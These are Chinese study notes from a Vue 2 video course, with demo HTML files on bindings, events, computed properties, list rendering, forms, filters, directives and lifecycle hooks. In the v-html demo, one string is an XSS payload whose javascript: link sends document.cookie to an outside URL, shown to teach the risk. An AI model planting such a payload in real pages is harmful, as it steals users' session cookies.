尚硅谷Vue技术全家桶

课程来源于b站尚硅谷教程:一套搞定Vue技术全家桶,轻松拿捏vue3.0(vue.js全网最新)

课程简介

在这个vue2到vue3的过渡时期,需要兼顾2.x和3版本。尚硅谷的vue教程为vue2+vue3,先教vue2,然后vue3。
课程整体设置如下:
1.vue基础
2.vue-cli :vue脚手架,专门做工程开发的
3.vue-router:在vue当中,实现前端路由
4.vuex :当应用足够复杂时,用来借助保管数据
5.element-ui:常用的经典的UI组件库 【注:UI组件库的作用】
6.vue3: vue3的新特性

1.vue核心

1.1vue简介

vue是什么?

vue特点

1.组件化模式

2.声明式编码

3.虚拟DOM+Diff算法
原生的js在渲染的时候,数据一变,全部重新渲染。

而vue在渲染时,数据变,尽可能只渲染改变的。

vue官网使用指南

vue官网

常用链接:
学习:教程、api、风格指南
生态系统:工具(vue cli)、核心插件(router,vuex)
列表资源:awesome vue(官方推荐的一些库)

vue环境搭建

从官网下vue.js和vue.min.js:

vscode缩进设置为2个字符
目录结构:

谷歌浏览器扩展程序打开开发者模式:

将vue开发者工具拖到图标上安装:

工具从哪里来?
来源1:官网

来源2:百度网盘 提取码:js8p

js引入vue时有生产提示:

去掉生产提示:

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title><script type="text/javascript" src="../js/vue.js"></script>
</head>
<body><div id="root"><h1>hello,vue</h1></div><script type="text/javascript">// 去掉vue的生产环境提示Vue.config.productionTip = false;</script>
</body>
</html>

注:打开测试网页请用open with five server

1.2初识vue


vue01.html:

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title><script type="text/javascript" src="../js/vue.js"></script>
</head>
<body><!-- 一个vue实例不能同时接管两个容器 --><!-- hello,尚硅谷 --><div id="root"><h1>name:{{name}}</h1></div><!-- hello,{{name}} --><div id="root"><h1>name:{{name}}</h1></div><!-- 多个vue实例不能接管一个容器 --><div class="root"><!-- name:尚硅谷1 --><h1>name:{{name}}</h1><!-- address: --><h1>address:{{address}}</h1></div><!-- 小结论:vue实例与容器一一对应,真是开发中只有一个vue实例 --><!-- 关于{{}}里面能些什么:里面能写js表达式 --><!-- js表达式和js代码的区别:js表达式:会生成一个值,可以放在任何一个需要值的地方(1).a(2).a+b(3).demo(1) 返回undifined也可以(4).x===y?'a':'b'js代码:是段语句,不产生值(1).if(){}(2).for(){} --><div id="root2"><h1>name:{{name}}</h1><h1>Date.now():{{Date.now()}}</h1><h1>1+1:{{1+1}}</h1></div><script type="text/javascript">// 去掉vue的生产环境提示Vue.config.productionTip = false;//创建vue实例const x=new Vue({// 指定当前Vue实例为哪个容器服务,通常为css选择器的字符串// 选择id类的就是#xxx,class类的就是.xxxel:'#root',  // data中存数据,数据只能给el指定的容器使用// data暂时写成对象,组件时写成函数,这里不用深究data:{name:'尚硅谷'}})const y=new Vue({// 这里使用的是class的表达方式.xxxel:'.root',  data:{name:'尚硅谷1'}})const z=new Vue({el:'.root',  data:{name:'尚硅谷2',address: 'beijing'}})const m=new Vue({el:'#root2',  data:{name:'root2',}})</script></body>
</html>

效果:

1.3模板语法

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title><script type="text/javascript" src="../js/vue.js"></script>
</head>
<body><div id="root1"><h2>插值语法</h2><h2>name:{{name}}</h2><h2>指令语法</h2><a v-bind:href="url">http://www.baidu.com</a><br><a v-bind:href="url.toUpperCase()">HTTP://WWW.BAIDU.COM</a></div>
</body><script type="text/javascript">Vue.config.productionTip = false;new Vue({el:'#root1',data:{name:'jack',// 网页url要带http,不然就会去本地路径里找www.baidu.com文件url:'http://www.baidu.com'}})
</script>
</html>

1.4数据绑定

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title><script type="text/javascript" src="../js/vue.js"></script>
</head>
<body><div id="root1">单向数据绑定:<input type="text" v-bind:value="name"><br>简写单向数据绑定:<input type="text" :value="name"><br>双向数据绑定:<input type="text" v-model:value="name"><br>简写双向数据绑定:<input type="text" v-model="name"><br>name:<param>{{name}}</param><!-- 错误使用,v-model只能用在表单类元素(输入类元素)上 --><h2 v-model:x="name"></h2></div>
</body><script type="text/javascript">Vue.config.productionTip = false;new Vue({el:'#root1',data:{name:"atguigu"}})
</script>
</html>

插曲:el与data的两种写法

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title><script type="text/javascript" src="../js/vue.js"></script>
</head>
<body><div id="root1"><h2>name:{{name}}</h2></div>
</body><script type="text/javascript">Vue.config.productionTip = false;const v=new Vue({// el:'#root1',// data:{//   name:"jack"// }// data的函数式写法data(){return{name:"jack"}}})// v.$mount('#root1')也可以代替el的作用,更灵活,比如这里的延时1秒再绑定setTimeout(()=>{v.$mount('#root1')},1000)</script>
</html>

1.5MVVM模型



插曲:回顾数据代理

1.Object.defineProperty方法

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title></head>
<body><div id="root1"></div>
</body><script type="text/javascript">let number=18let person={name:'张三',sex:'男'}
//   这样添加的属性不可枚举,即不参与遍历Object.defineProperty(person,'age',{//   value:18,//添加这一行就可以遍历了,默认为false//   enumerable:true,//控制属性是否可以修改,默认为false//   writable:true,//控制属性是否可以删除,默认为false//   configurable:true,//当有人读取age属性值时,get函数(getter)就会被调用,返回值就是age的值get(){return number},// 修改age属性时,调用setterset(value){number=value}})
//   {name: "张三", sex: "男", age: 18}console.log(person);console.log(Object.keys(person));</script>
</html>

2.何为数据代理

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body><!-- 数据代理:通过一个对象对另一个对象中属性的操作 --><script>let obj={x:100}let obj2={y:200}Object.defineProperty(obj2,'x',{get(){return obj.x},set(value){obj.x=value}})</script>
</body>
</html>

3.Vue中的数据代理

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title><script type="text/javascript" src="../js/vue.js"></script>
</head>
<body><div id="root1"><h2>name:{{name}}</h2><h2>address:{{address}}</h2></div>
</body><script type="text/javascript">Vue.config.productionTip = false;const vm=new Vue({el:'#root1',data:{name:'atguigu',address:'beijing'}})
</script>
</html>

看到vm中也有相应属性和setter,getter方法



1.6事件处理

事件基本使用

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title><script type="text/javascript" src="../js/vue.js"></script>
</head>
<body><div id="root1"><button v-on:click='showInfo1'>alert1</button><!-- v-on简写为@ --><button @click='showInfo2($event,66)'>alert2</button></div>
</body><script type="text/javascript">Vue.config.productionTip = false;new Vue({el:'#root1',data:{},methods:{showInfo1(){alert('alert1')},showInfo2(event,number){alert('alert2')console.log(event);console.log(number);},}})
</script>
</html>

事件修饰符


<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title><script type="text/javascript" src="../js/vue.js"></script><style>*{margin-top: 20px;}.demo1{height: 50px;background-color: aqua;}.box1{padding: 5px;background-color: aqua;}.box2{padding: 5px;background-color: rgb(21, 255, 0);}.list{width: 200px;height: 200px;background-color: cadetblue;overflow: auto;}li{height: 100px;}</style>
</head>
<body><div id="root1"><!-- .prevent阻止默认行为,这里默认行为是跳转到Baidu --><a href="http://www.baidu.com" @click.prevent='showInfo'>href+alert</a><div class='demo1' @click='showInfo'><button @click.stop='showInfo'>alert</button></div><button @click.once='showInfo'>alert</button><div class="box1" @click.capture='showmsg(1)'>div1<div class='box2' @click='showmsg(2)'>div2</div></div><!-- 冒泡不能触发.self修饰的方法,自己触发才行 --><div class='demo1' @click.self='showInfo'><button @click='showInfo'>alert</button></div><!-- .passive事件的默认行为会立即执行,无需等待事件回调完毕 --><!-- 比如下面这个滚动条事件,如果我让滚动条动,会先触发scroll函数,函数执行完毕后滚动条才会动,如果函数很复杂,那滚动条就动的很慢,.passive会让滚动条先动起来,函数让他慢慢执行 --><!-- 用的少,可能移动端用的多一点 --><ul class='list' @scroll.passive='scroll'><li>1</li><li>2</li><li>3</li><li>4</li></ul></div>
</body><script type="text/javascript">Vue.config.productionTip = false;new Vue({el:'#root1',data:{},methods:{showInfo(){alert('alert')},showmsg(num){alert(num)},scroll(){console.log('@scroll');}}})
</script>
</html>

键盘事件

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title><script type="text/javascript" src="../js/vue.js"></script>
</head>
<body><div id="root1"><input type="text" placeholder="按下回车方法执行" @keyup.enter='showInfo'><input type="text" placeholder="按下caps-lock方法执行" @keyup.caps-lock='showInfo'></div>
</body><script type="text/javascript">Vue.config.productionTip = false;new Vue({el:'#root1',data:{},methods:{showInfo(event){console.log(event.target.value);}}})
</script>
</html>

1.7计算属性与监视

计算属性:

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title><script type="text/javascript" src="../js/vue.js"></script>
</head>
<body><div id="root1">姓:<input type="text" v-model="lastName"><br>名:<input type="text" v-model="firstName"><br><!-- 插值语法实现 -->姓名:<span>{{lastName}}-{{firstName}}</span><br><!-- 方法实现 -->姓名:<span>{{getFullName()}}</span><br><!-- 计算属性实现 -->姓名:<span>{{fullName}}</span><br><!-- 计算属性有缓存,方法没缓存 --></div>
</body><script type="text/javascript">Vue.config.productionTip = false;const vm=new Vue({el:'#root1',data:{firstName:'三',lastName:'张',},methods:{getFullName(){// this是vue实例return this.lastName+'-'+this.firstName}},computed: {// 计算属性是算出来的,从控制台改变是不够的,想改变就要改变该属性依赖的属性值fullName: {// get调用时机:1.初次读取fullName时;2.所依赖的数据(lastName,firstName)变化时get(){return this.lastName+'-'+this.firstName;},// set()调用时机:fullName被修改时set(value){const arr=value.split('-')this.firstName=arr[1]this.lastName=arr[0]}},// 如果计算属性只有get方法的话,简写成下面这样,依然当属性用,用的时候别加括号:fullName(){return this.lastName+'-'+this.firstName;}},})
</script>
</html>

监视属性:


<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title><script type="text/javascript" src="../js/vue.js"></script>
</head>
<body><div id="root1"><h2>天气:{{weather}}</h2><button @click='changeWeather'>change weather</button><h2>a:{{numbers.a}}</h2><button @click="numbers.a++">a++</button><h2>b:{{numbers.b}}</h2><button @click="numbers.b++">b++</button></div>
</body><script type="text/javascript">Vue.config.productionTip = false;new Vue({el:'#root1',data:{isHot:true,numbers:{a:1,b:1}},computed:{weather(){return this.isHot?'hot':'cold'}},methods: {changeWeather(){this.isHot=!this.isHot}},// 监视watch:{// 监视isHotisHot:{// handler():回调函数,isHot改变时调用的函数handler(newValue,oldValue){console.log('isHot changed',newValue,oldValue);},// 页面初始渲染时就先执行一次handler// immediate:true},// 我们写多了,误以为最原始就是不加引号,其实k-v键值对k和v都要加引号的,vue帮助我们简化了'numbers.a':{handler(){console.log('a++');}},// a,b的改变不能引起numbers的监视,因为其实监视的是numbers的地址,地址没变numbers:{// 当开启深度监视时,a,b的改变就会引起numbers的handler触发// 监测多级结构中所有属性的变化deep:true,handler(){console.log('numbers changed');}},// 当只需要handler方法时可以简写:// numbers(){//   console.log('numbers changed');// }}})
</script>
</html>

计算属性VS监视属性:

1.8class与style的绑定

class

使用绑定属性
:class=‘xxx’

style

1.9条件渲染

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title><script type="text/javascript" src="../js/vue.js"></script>
</head>
<body><div id="root1"><h2 v-show='isShow1'>{{message}}</h2><button @click='change1'>显隐切换</button><h2 v-if='isShow2'>{{message}}</h2><button @click='change2'>显隐切换</button></div>
</body><script type="text/javascript">Vue.config.productionTip = false;new Vue({el:'#root1',data:{message:'message-context',isShow1:true,isShow2:true,},methods: {change1(){this.isShow1=!this.isShow1},change2(){this.isShow2=!this.isShow2},},})
</script>
</html>

1.10列表渲染

基本列表

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title><script type="text/javascript" src="../js/vue.js"></script>
</head>
<body><div id="root1"><ul><!-- 遍历数组 --><li v-for='person in personList' :key='person.id'>{{person.name}}-{{person.age}}</li></ul><ul><li v-for='(person,index) in personList' >{{person}}-------{{index}}</li></ul><ul><!-- 遍历对象 --><li v-for='(value,key,index) in car' >{{value}}--{{key}}--{{index}}</li></ul><ul><!-- 遍历字符串 --><li v-for='(char,index) in str' >{{char}}-{{index}}</li></ul><ul><!-- 遍历指定次数 --><li v-for='(number,index) in count' >{{number}}-{{index}}</li></ul></div>
</body><script type="text/javascript">Vue.config.productionTip = false;new Vue({el:'#root1',data:{personList:[{id:001,name:'name1',age:18},{id:002,name:'name2',age:19},{id:003,name:'name3',age:20}],car:{name:'aodi',price:'70E',color:'red'},str:'akldjasd',count:5}})
</script>
</html>

key的原理



而且上图中旧的真实DOM复用的少了,效率低。


不写key,默认key是index。

列表过滤

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title><script type="text/javascript" src="../js/vue.js"></script>
</head>
<body><div id="root1">模糊搜索姓名:<input type="text" placeholder="请输入姓名" v-model='keyWord'><ul><li v-for='person in filPersonList1' :key='person.id'>{{person.name}}-{{person.age}}</li></ul><h2>----------------------------------------</h2><ul><li v-for='person in filPersonList1' :key='person.id'>{{person.name}}-{{person.age}}</li></ul></div>
</body><script type="text/javascript">Vue.config.productionTip = false;new Vue({el:'#root1',data:{personList:[{id:001,name:'马冬梅',age:18},{id:002,name:'周冬雨',age:19},{id:003,name:'周杰伦',age:20},{id:004,name:'温兆伦',age:21},],filPersonList1:[],keyWord:''},// watch实现过滤watch:{keyWord:{immediate:true,handler(newValue){this.filPersonList1=this.personList.filter((person)=>{return person.name.indexOf(newValue)!==-1})}}},// computed实现过滤computed:{filPersonList2(){return this.personList.filter((person)=>{return person.name.indexOf(this.keyWord)!==-1})}}})
</script>
</html>

列表排序

看出计算属性的强大,计算属性内任何用到的变量改变都会引起计算属性改变。

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title><script type="text/javascript" src="../js/vue.js"></script>
</head>
<body><div id="root1">模糊搜索姓名:<input type="text" placeholder="请输入姓名" v-model='keyWord'><button @click='sortType=2'>age升序</button><button @click='sortType=1'>age降序</button><button @click='sortType=0'>还原</button><ul><li v-for='person in filPersonList' :key='person.id'>{{person.name}}-{{person.age}}</li></ul></div>
</body><script type="text/javascript">Vue.config.productionTip = false;new Vue({el:'#root1',data:{personList:[{id:001,name:'马冬梅',age:19},{id:002,name:'周冬雨',age:18},{id:003,name:'周杰伦',age:21},{id:004,name:'温兆伦',age:15},],keyWord:'',sortType:0//0原顺序,1降,2升},// computed实现过滤+排序computed:{filPersonList(){const arr=this.personList.filter((person)=>{return person.name.indexOf(this.keyWord)!==-1})// 当sortType不为0时if(this.sortType){arr.sort((p1,p2)=>{return this.sortType===1?p2.age-p1.age:p1.age-p2.age})}return arr}}})
</script>
</html>

插曲:数据更新时的一个问题引出的vue对数据的监视机制。

如下图所示,vue怎么知道data中的name更改,所以让{{name}}改变呢?

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title><script type="text/javascript" src="../js/vue.js"></script>
</head>
<body><div id="root1"><button @click="change()">更新马冬梅</button><ul><li v-for="person in personList" :key="person.id">{{person.id}}--{{person.name}}--{{person.age}}</li></ul></div>
</body><script type="text/javascript">Vue.config.productionTip = false;new Vue({el:'#root1',data:{personList:[{id:001,name:'马冬梅',age:23},{id:002,name:'周冬雨',age:32},{id:003,name:'周杰伦',age:26},{id:004,name:'温兆伦',age:29}]},methods:{change(){// 该修改不奏效this.personList[0]={id:001,name:'madongmei',age:99}}}})
</script>
</html>

vue如何监测对象的数据改变?

把数据写成了带getter(),setter()的形式:


手动实现该形式的尝试:

上面这种形式由于递归死循环导致getter和setter均不能奏效。例如调用name时会激活getter,getter里又调name循环激活getter。
下面这种方式可以做个例子:

vue如何后天添加属性?




<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title><script type="text/javascript" src="../js/vue.js"></script>
</head>
<body><div id="root1"><button @click='addSex()'>addSex</button><h2>{{student.name}}--{{student.age}}</h2><h2 v-if="student.sex">{{student.sex}}</h2></div>
</body><script type="text/javascript">Vue.config.productionTip = false;const vm=new Vue({el:'#root1',data:{student:{name: 'name1',age: 18,}},methods:{addSex(){// 只能给data里面的某个对象里面追加属性,而不能直接加在data上Vue.set(this.student,'sex','男')}}})
</script>
</html>

vue如何监测数组的数据改变?

hobby写成对象时,有getter,setter方法

写成数组就没有getter,setter方法


所以回到解释上边的插曲,通过改变数组索引对应的数据的方式改变值就不奏效了。
修改数组要用这些方法:

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title><script type="text/javascript" src="../js/vue.js"></script>
</head>
<body><div id="root1"><button @click='changeNumberArr()'>push(9)</button><ul><li v-for="n in numberArr">{{n}}</li></ul></div>
</body><script type="text/javascript">Vue.config.productionTip = false;const vm=new Vue({el:'#root1',data:{numberArr:[1,3,5,7]},methods:{changeNumberArr(){this.numberArr.push(9)}}})
</script>
</html>

所以插曲中的案例改变索引0的数据要这样操作:

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title><script type="text/javascript" src="../js/vue.js"></script>
</head>
<body><div id="root1"><button @click="change()">更新马冬梅</button><ul><li v-for="person in personList" :key="person.id">{{person.id}}--{{person.name}}--{{person.age}}</li></ul></div>
</body><script type="text/javascript">Vue.config.productionTip = false;new Vue({el:'#root1',data:{personList:[{id:001,name:'马冬梅',age:23},{id:002,name:'周冬雨',age:32},{id:003,name:'周杰伦',age:26},{id:004,name:'温兆伦',age:29}]},methods:{change(){// 该修改不奏效// this.personList[0]={id:001,name:'madongmei',age:99}//奏效this.personList.splice(0,1,{id:001,name:'madongmei',age:99})}}})
</script>
</html>

vue的push已经不是Array的原汁原味的push了:

当然也可以不用arr的方法:

插曲总结+练习

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title><script type="text/javascript" src="../js/vue.js"></script>
</head>
<body><div id="root1"><h1>info</h1><button @click='method1'>age++</button><button @click.once='method2'>addArrt:Sex male</button><button @click='method3'>addfriend at head</button><button @click='method4'>update firstFriendName:zhangsan</button><button @click='method5'>add hobby</button><button @click='method6'>update firstHobby</button><button @click='method7'>remove all study in hobbys</button><h3>name:{{student.name}}</h3><h3>age:{{student.age}}</h3><h3 v-if='student.sex'>sex:{{student.sex}}</h3><h3>hobbys:</h3><ul><li v-for='(h,idex) in student.hobbys' :key="index">{{h}}</li></ul><h3>friends:</h3><ul><li v-for='(f,index) in student.friends' :key="index">{{f.name}}---{{f.age}}</li></ul></div>
</body><script type="text/javascript">Vue.config.productionTip = false;const vm=new Vue({el:'#root1',data:{student:{name:'coderhao',age:18,hobbys:['base','piano','sing'],friends:[{name:'jerry',age:34},{name:'tom',age:22}]       } },methods:{method1(){this.student.age++},method2(){Vue.set(this.student,'sex','male')// this.$set(this.student,'sex','male')},method3(){this.student.friends.unshift({name: 'jack',age:70})},method4(){this.student.friends[0].name='zhangsan'},method5(){this.student.hobbys.push('study')},method6(){// errorOprate:// this.student.hobby[0]='drive'this.student.hobbys.splice(0,1,'drive')},method7(){this.student.hobbys=this.student.hobbys.filter((h)=>{return h!=='study'})}}})
</script>
</html>

vue将数据改成这种形式就叫数据劫持:

补充图示:

1.11收集表单数据


<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title><script type="text/javascript" src="../js/vue.js"></script>
</head>
<body><div id="root1"><!-- 这里不需要跳转,阻止跳转 --><form @submit.prevent='demo'><!-- v-model.trim:去掉前后空格 -->username:<input type="text" v-model.trim='userInfo.username'><br>password:<input type="password" v-model='userInfo.password'><br><!-- type="number":只能输数字;v-model.number:存的时候以数字存 -->age:<input type="number" v-model.number='userInfo.age'><br>sex:male<input type="radio" name='sex' v-model='userInfo.sex' value="male">female<input type="radio" name='sex' v-model='userInfo.sex' value="female"><br>hobbys:study<input type="checkbox" name="hobbys" v-model='userInfo.hobbys' value="study">play<input type="checkbox" name="hobbys" v-model='userInfo.hobbys' value="play">eat<input type="checkbox" name="hobbys" v-model='userInfo.hobbys' value="eat"><br>school:<select v-model='userInfo.school'><option value="">please select school</option><option value="beida" >beida</option><option value="qinghua" >qinghua</option><option value="renda" >renda</option></select><br>otherInfo:<br><!-- v-model.lazy:失去焦点再收集,而不是一个一个字符的收集 --><textarea v-model.lazy='userInfo.otherInfo'></textarea><br><input type="checkbox" v-model='userInfo.isAccept'>accept license<a href="http://www.atguigu.com">《user license》</a><br><button>submit</button></form></div>
</body><script type="text/javascript">Vue.config.productionTip = false;new Vue({el:'#root1',data:{userInfo:{username:'',password:'',age:20,sex:'female',hobbys:[],school:'',otherInfo:'',isAccept:true}},methods:{demo(){console.log(JSON.stringify(this.userInfo));}}})
</script>
</html>

1.12过滤器


<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title><script type="text/javascript" src="../js/vue.js"></script><script src="../js/dayjs.min.js"></script>
</head>
<body><div id="root1"><h2>时间戳:{{timeStamp}}</h2><!-- 计算属性实现 --><h2>fmtTime:{{fmtTime}}</h2><!-- 方法实现 --><h2>getFmtTime():{{getFmtTime()}}</h2><!-- 过滤器实现 --><h2>timeFormater:{{timeStamp |timeFormater}}</h2><!-- 过滤器传参 --><h2>timeFormater:{{timeStamp |timeFormater('YYYY_MM_DD')}}</h2><!-- 过滤器串联 --><h2>timeFormater:{{timeStamp |timeFormater('YYYY_MM_DD') |mySlice}}</h2></div>
</body><script type="text/javascript">Vue.config.productionTip = false;// 全局过滤器,要在new vue之前Vue.filter('mySlice',function(value){return value.slice(0,4)})new Vue({el:'#root1',data:{timeStamp:Date.now(),},computed:{fmtTime(){return dayjs(this.timeStamp).format('YYYY-MM-DD HH:mm:ss')}},methods:{getFmtTime(){return dayjs(this.timeStamp).format('YYYY-MM-DD HH:mm:ss')}},// 局部过滤器filters:{// 这里设置了str的默认参数timeFormater(value,str='YYYY-MM-DD HH:mm:ss'){return dayjs(value).format(str)},// mySlice(value){//   return value.slice(0,4)// }}})</script>
</html>

1.13内置指令与自定义指令

内置指令





cookie:


查看cookie:

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title><script type="text/javascript" src="../js/vue.js"></script><style>/* 属性选择器 */[v-cloak]{display: none;}</style></head>
<body><id id="root1"><div>{{name}}</div><div v-text='name'></div><div v-html='htmlStr'></div><div v-html='attackStr'></div><div v-cloak>{{name}}</div><div v-once>n_init:{{n}}</div><div>n:{{n}}</div><button @click='increaseN'>n++</button><div v-pre>hello,vue</div></id></body><script type="text/javascript">Vue.config.productionTip = false;new Vue({el:'#root1',data:{n:0,name:'atguigu',htmlStr:'<h3>hello</h3>',// xss攻击,会拿到cookie然后跳到指定地址(比如说黑客的服务器地址)attackStr:"<a href=javascript:location.href='http://www.baidu.com?'+document.cookie>诱惑性链接</a>"},methods: {increaseN(){this.n++}},})</script>
</html>

自定义指令


<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title><script type="text/javascript" src="../js/vue.js"></script>
</head>
<body><div id="root1"><h2>n:{{n}}</h2><h2>n(v-big):<span v-big='n'></span></h2><!-- 指令多单词情况下要用-链接 --><!-- <h2>n(v-big):<span v-big-number='n'></span></h2> --><button @click='increaseN'>n++</button><br><input type="text" v-fbind:value='n'></div>
</body><script type="text/javascript">Vue.config.productionTip = false;// 全局指令Vue.directive('directiveName', {bind(el, binding, vnode) {},inserted(el, binding, vnode) {},update(el, binding, vnode, oldVnode) {},componentUpdated(el, binding, vnode) {},unbind(el, binding, vnode) {},});new Vue({el:'#root1',data:{n:1,},methods: {increaseN(){this.n++}},// 定义指令(局部)// 何时调用?1.指令与元素成功绑定时2.指令所在模板成功解析时directives:{// 简写形式,其实是bind+updatebig(element,binding){// 多字母指令要把引号写出来// 'big-number'(element,binding){element.innerText=binding.value*10  },fbind:{// 绑定时调用bind(element,binding){// 指令里面的this是windowconsole.log(this);console.log('bind()');element.value=binding.value},// 指令所在元素插入页面后调用inserted(element,binding){console.log('inserted()');element.focus()},// 指令所在模板重新解析时调用update(element,binding){console.log('update()');element.value=binding.valueelement.focus()}}}})</script>
</html>

1.14Vue实例生命周期

引出生命周期


例子:实现一段文字渐变效果:

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title><script type="text/javascript" src="../js/vue.js"></script>
</head>
<body><div id="root1"><!-- 实现一个内容渐变效果 --><!-- <h2 :style="{opacity: opacity}">atguigu</h2> --><h2 :style="{opacity}">atguigu</h2> </div>
</body><script type="text/javascript">Vue.config.productionTip = false;const vm=new Vue({el:'#root1',data:{opacity:1},methods:{},// vue完成模板解析并把初始的真实DOM元素放入页面后(这个时候也叫mounte)调用该方法mounted(){console.log('mounted()');setInterval(()=>{this.opacity-=0.01if(this.opacity<=0){this.opacity=1}},16)}})// 外部定时器实现,不推荐// setInterval(()=>{//   vm.opacity-=0.01//   if(vm.opacity<=0){//     vm.opacity=1//   }// },16)</script>
</html>

下面这种方式实现渐变效果不行,change调用》data.opacity改变》页面渲染》change调用》。。。。。死循环:

分析生命周期

官网图:

详细图:

生命周期总结


<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title><script type="text/javascript" src="../js/vue.js"></script>
</head>
<body><div id="root1"><!-- 实现一个内容渐变效果 --><!-- <h2 :style="{opacity: opacity}">atguigu</h2> --><h2 :style="{opacity}">atguigu</h2> <button @click='stopTimer'>stopTimer</button></div>
</body><script type="text/javascript">Vue.config.productionTip = false;const vm=new Vue({el:'#root1',data:{opacity:1},methods:{stopTimer(){clearInterval(this.timer)}},mounted(){console.log('mounted()');this.timer=setInterval(()=>{this.opacity-=0.01if(this.opacity<=0){this.opacity=1}},16)}})</script>
</html>

尚硅谷Vue技术全家桶(1)相关推荐

  1. 最新仿网易优选APP商城源码+Vue开发全家桶

    正文: 最新仿网易优选APP商城源码+Vue开发全家桶,源码采用Vue全家桶+mintUI+axios技术栈开发,只写了前端,后端采用网易商场抓包接口,也可以二次修改成自己的接口. 安装方法: 1.将 ...

  2. 尚硅谷VUE课程的页签图标问题

    项目场景:尚硅谷VUE课程的页签图标问题 问题描述: 在没有添加页签图标favicon.icon时不报错. 解决方案: 给VScode添加Live Server插件,并右键选择open with Li ...

  3. 尚硅谷VUE项目-前端项目问题总结07--产品详情页【vuex-排他操作foreach-放大镜-轮播图-兄弟组件通信$bus-购物车-路由跳转传参-路由传参+会话存储】-游客身份-节流

    尚硅谷VUE项目-前端项目问题总结07---产品详情页 1.静态组件(详情页还未注册为路由组件) 2.发请求 3.vuex-获取产品详情信息 3.1放大镜 3.2 属性值[排他操作] 3.3轮播图[j ...

